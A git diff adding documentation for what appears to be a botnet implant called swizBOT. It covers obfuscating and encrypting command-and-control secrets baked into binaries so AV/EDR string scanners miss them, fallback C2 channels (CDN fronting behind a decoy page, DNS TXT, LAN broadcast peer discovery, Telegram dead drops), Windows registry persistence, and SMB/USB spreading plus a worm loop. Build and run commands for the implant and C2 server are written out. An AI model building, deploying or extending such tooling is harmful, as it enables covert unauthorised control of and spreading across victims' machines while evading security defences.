diff --git a/docs/BAKED-CONFIG.md b/docs/BAKED-CONFIG.md new file mode 100644 index 0000000..b3f4064 --- /dev/null +++ b/docs/BAKED-CONFIG.md @@ -0,0 +1,94 @@ +# Baked config & OPSEC + +`cmd/build` compiles implant configuration straight into the binary, so a +field deployment is one artifact instead of an env-var bundle. This note +covers how that config is protected on disk and on the wire, what it does +and does not guarantee, and how to verify it. + +## The problem it fixes + +Earlier builds injected each value as its own plaintext symbol: + +``` +-ldflags "-X main.bakedC2URLs=https://c2.example:8443 \ + -X main.bakedBotSecret=s3cret \ + -X main.bakedBotKey=" +``` + +`-ldflags -X` assigns a Go string variable, and string data lives verbatim +in the binary. A single `strings` pass recovered the C2 endpoints, the +shared bot secret and the implant private key from the shipped artifact — +no reverse engineering required. That is convenience, not OPSEC. + +## What we do now + +All baked values are packed into one opaque token (`internal/bakepack`) and +injected as a single string, `main.bakedBundle`: + +| Mode | Token | Mechanism | Guarantee | +|------|-------|-----------|-----------| +| obfuscated (default) | `b1.` | `salt(16) ‖ json XOR SHA-256(seed‖salt‖ctr)` | secrets are not present as readable strings in the binary | +| sealed (`-seal PASS`) | `b2.` | `salt(16) ‖ nonce(12) ‖ AES-256-GCM(json)`, key = PBKDF2-HMAC-SHA256(PASS, salt, 210k) | **authenticated encryption**: the binary alone discloses nothing and is inert without the passphrase | + +### Obfuscated (b1) + +Defeats casual triage, `strings`/`grep`, AV/EDR static string scanners and +config hunters. It is **obfuscation, not encryption**: someone who reverses +the token format can recover the values. Use it when you only need the +artifact to not hand over its config on a plate. + +### Sealed (b2) + +Real AEAD under an operator passphrase that is supplied out-of-band at +runtime via `SWIZ_UNLOCK`. The binary embeds only ciphertext + KDF salt, so +a recovered artifact is useless without the passphrase. A wrong or missing +`SWIZ_UNLOCK` fails authentication — the implant does **not** silently fall +back to a baked secret it could not decrypt; it logs and continues on +env/defaults. This is the mode to use for real OPSEC. + +> Note: no self-contained artifact can hide a secret from someone who holds +> both the binary *and* the runtime secret. b2 moves the secret out of the +> binary and into operator custody; it does not put it nowhere. + +## Precedence + +``` +env (SWIZ_*) > baked (token) > built-in default +``` + +Env always wins, so an operator can override any baked value without a +rebuild. A sealed bundle that cannot be unlocked simply contributes nothing. + +## Building + +```bash +# obfuscated (default) +go run ./cmd/build -c2-urls https://c2.example:8443 \ + -bot-secret s3cret -bot-key -c2-pubkey + +# sealed -> zero-leak; set SWIZ_UNLOCK at runtime +go run ./cmd/build -seal 'correct horse battery staple' \ + -c2-urls https://c2.example:8443 \ + -bot-secret s3cret -bot-key -c2-pubkey +``` + +Baking secrets without `-seal` prints a warning. + +## Verifying + +`make leakscan` (or `scripts/leakscan.sh`) builds the implant three ways and +asserts the canary secrets are absent from the binary in both bake modes, +using a deliberate plaintext negative control to prove the scanner works. + +```bash +$ make leakscan +==> 1/4 negative control ... PASS control: control canary detected (scan works) +==> 2/4 obfuscated bake (b1) ... PASS obfuscated: no plaintext canaries in binary +==> 3/4 sealed bake (b2) ... PASS sealed: no plaintext canaries in binary +==> 4/4 env still overrides baked ... PASS +ALL LEAK CHECKS PASSED +``` + +Unit coverage lives in `internal/bakepack/bakepack_test.go`: round-trip for +both modes, passphrase required/wrong/tamper rejection, and a +plaintext-absence regression guard. diff --git a/docs/P2P.md b/docs/P2P.md new file mode 100644 index 0000000..c90834c --- /dev/null +++ b/docs/P2P.md @@ -0,0 +1,25 @@ +# LAN peer discovery (P2P) + +The implant can learn additional C2 endpoints from other implants on +the same LAN. This is an auxiliary discovery layer; the primary +endpoints from SWIZ_C2_URLS always stay first in the rotation. + +## Enable + +``` +SWIZ_P2P=1 SWIZ_PEER_PORT=31337 ./swizbot-bot-linux +``` + +Every participating implant: + +- listens on UDP :31337 (SWIZ_PEER_PORT) for `SWIZC2 [...]` + announcements; +- answers a peer with its own endpoint list; +- broadcasts its own list to the /24 directed broadcast every 60 + seconds. + +Learned endpoints are merged into the client rotation (deduplicated, +capped at 32). Discovery is plaintext and unauthenticated: it is a +fallback for finding a C2 after primary domains are gone, not a +security boundary. On networks where you do not want the implant to +answer discovery traffic, leave SWIZ_P2P unset. diff --git a/docs/TRANSPORTS.md b/docs/TRANSPORTS.md new file mode 100644 index 0000000..11f8272 --- /dev/null +++ b/docs/TRANSPORTS.md @@ -0,0 +1,99 @@ +# swizBOT — transport options (C2 redundancy) + +The swizBOT implant is endpoint-agnostic: it polls a list of C2 +URLs in random order and fails over across layers. Nothing in the +client depends on a specific tunnel provider. Pick any option below +and point implants at the public URL with `SWIZ_C2_URLS`; pair every +public exposure with `-token` and `-bot-secret`. + +## Layer summary (implant fallback order) + +1. Primary HTTPS endpoints (`SWIZ_C2_URLS`) — your own TLS host or a + tunnel URL, tried in random order. +2. DNS TXT discovery (`SWIZ_DNS_DOMAIN`) — operator-controlled domain + publishes additional endpoints; checked at boot and hourly. +3. LAN peer discovery (`SWIZ_P2P=1`) — UDP broadcast; other implants + share their C2 list, so a cut-off fleet re-finds the operator + through any peer that still has a live route. See docs/P2P.md. +4. Telegram dead drop (`SWIZ_TELEGRAM_TOKEN`) — last-resort command + channel when every network path to the C2 is gone. +5. Local result cache — results are stored while offline and flushed + on the next successful contact. + +## 1. cloudflared quick tunnel (built in, zero account) + +The C2 server spawns a quick tunnel itself: + +```bash +./bin/swizbot-c2 -ui :8080 -listen :8443 -tunnel cloudflared \ + -token 'op-secret' -bot-secret 'shared-secret' \ + -cert server.crt -key server.key +``` + +It prints the public `https://.trycloudflare.com` URL once +the tunnel is up. The implant protocol is plain HTTP(S) polling, so +the whole fleet plus the dashboard ride the same URL: + +```bash +SWIZ_C2_URLS=https://.trycloudflare.com \ +SWIZ_BOT_SECRET=*** ./bin/swizbot-bot-linux +``` + +Hostnames are random per start; for a fixed hostname use a named +cloudflared tunnel or a direct host. Requires `cloudflared` on PATH. + +## 2. Direct VPS with TLS (no third party) + +Run behind Caddy or nginx on 443, or let the C2 terminate TLS +itself (`-cert`/`-key`, the default `-listen :8443`). Caddy +one-liner: + +``` +your-domain.example { + reverse_proxy 127.0.0.1:8443 +} +``` + +Keep the listener bound to 127.0.0.1 when a front proxy is used. +Implants set `SWIZ_C2_URLS=https://your-domain.example:8443` +(or :443 when the proxy fronts it). + +## 3. CDN fronting (Cloudflare Worker) for the full fleet + +`deploy/cloudflare_worker.js` routes on the Host header: requests for +your hidden hostname are forwarded to the swizBOT origin; everyone +else gets a decoy page. Set env `C2_HOST` and `BACKEND_URL`, deploy +with `wrangler`, and implants use +`SWIZ_C2_URLS=https://`. + +Because the implant channel is HTTP polling (not WebSocket), the +worker fronts checkin/result for the fleet and the operator API +without extra bridging. The dashboard `/ws` stream needs the +WebSocket-origin pattern if you want live UI updates through the +worker; polling fallback in the dashboard covers it otherwise. + +## 4. DNS TXT as dynamic re-discovery + +Point `SWIZ_DNS_DOMAIN` at a TXT record you control containing one or +more `https://` endpoints. When primary endpoints die, implants pick +up the new operator address from DNS within the hour: + +``` +dig TXT c2.example.com +c2.example.com. 300 IN TXT "https://current-c2.example.net:8443" +``` + +## 5. LAN P2P as the last network layer + +`SWIZ_P2P=1` enables the UDP peer discovery (port 31337 by default). +Implants broadcast their endpoint list on the LAN and answer peers. +This keeps a fleet reachable when external paths are cut but any +single implant still has a route. Plaintext/unauthenticated by +design - it is a fallback, not a trust boundary (docs/P2P.md). + +## 6. Telegram dead drop + +With `SWIZ_TELEGRAM_TOKEN` (and optional `SWIZ_TELEGRAM_CHAT_ID`), +implants fall back to polling a Telegram channel for JSON commands +when every endpoint is unreachable. Lowest bandwidth, highest +latency - the last-resort command lane. diff --git a/docs/VERIFICATION.md b/docs/VERIFICATION.md new file mode 100644 index 0000000..6bede1d --- /dev/null +++ b/docs/VERIFICATION.md @@ -0,0 +1,51 @@ +# Verification status + +What has actually been **executed** versus what only compiles and is unit +tested. Kept honest on purpose: a thing that builds is not a thing that +runs. + +Last updated 2026-09-10 (main). + +## Live-verified + +| area | how | result | +|------|-----|--------| +| Linux implant end to end | boot C2, bake implant, `exec` command | registered, sealed AEAD checkin, result `success` | +| Obfuscated baked config (b1) | `make leakscan` | no string-recoverable secrets | +| Sealed baked config (b2) | `make leakscan` + live run | inert without `SWIZ_UNLOCK`; loads with it | +| DNS fallback layer | local stub, HTTPS endpoint dead, command published as TXT `swiz1:` | implant opened + executed the command over DNS | +| Windows implant (Wine) | Wine 10 + Xvfb, host C2 | registered (`windows/amd64`), sealed channel active, `exec` returned `WIN-EXEC-OK` | +| Windows GDI screenshot (Wine) | `screenshot` command | valid PNG, 1280x1024 | +| Windows registry persistence (Wine) | run implant | `HKCU\...\Run` -> `swizBOT` value written | +| Transport manager | unit tests (controllable clock) | failover, probation, recovery, backoff cap, ordering | + +## Compiled + unit-tested only (not live-fired here) + +- **Telegram dead-drop layer** — needs a real bot token + chat. +- **P2P LAN discovery** — needs a real multi-host LAN. +- **SMB / USB / network-share vectors** and **scheduled-task persistence** — + need a real Windows host; Wine has no SMB server and no `schtasks`. +- **Stager** — emulator round-trips + nasm byte parity only; not run on + Windows hardware. + +## Deliberately not run + +- **Worm spread loop** — not executed (sandbox policy). + +## Reproducing + +```bash +make vet && make test # static + unit +make leakscan # baked-config leak scan (with negative control) +python3 stager/encoder.py --selftest +``` + +DNS-fallback live test: stand up a local DNS responder on `127.0.0.1:53` +that answers TXT `swiz1:` for a test zone and +forwards other queries upstream, point `/etc/resolv.conf` at it (restore +after), set `SWIZ_DNS_DOMAIN`, and run the implant with an unreachable +`SWIZ_C2_URLS`. The command must arrive over DNS. + +Windows-under-Wine: `WINEPREFIX=... xvfb-run -a wine ./swizbot-bot.exe` +with a Linux C2 as the endpoint (`SWIZ_C2_URLS`/baked), then `exec` / +`screenshot` and a registry check.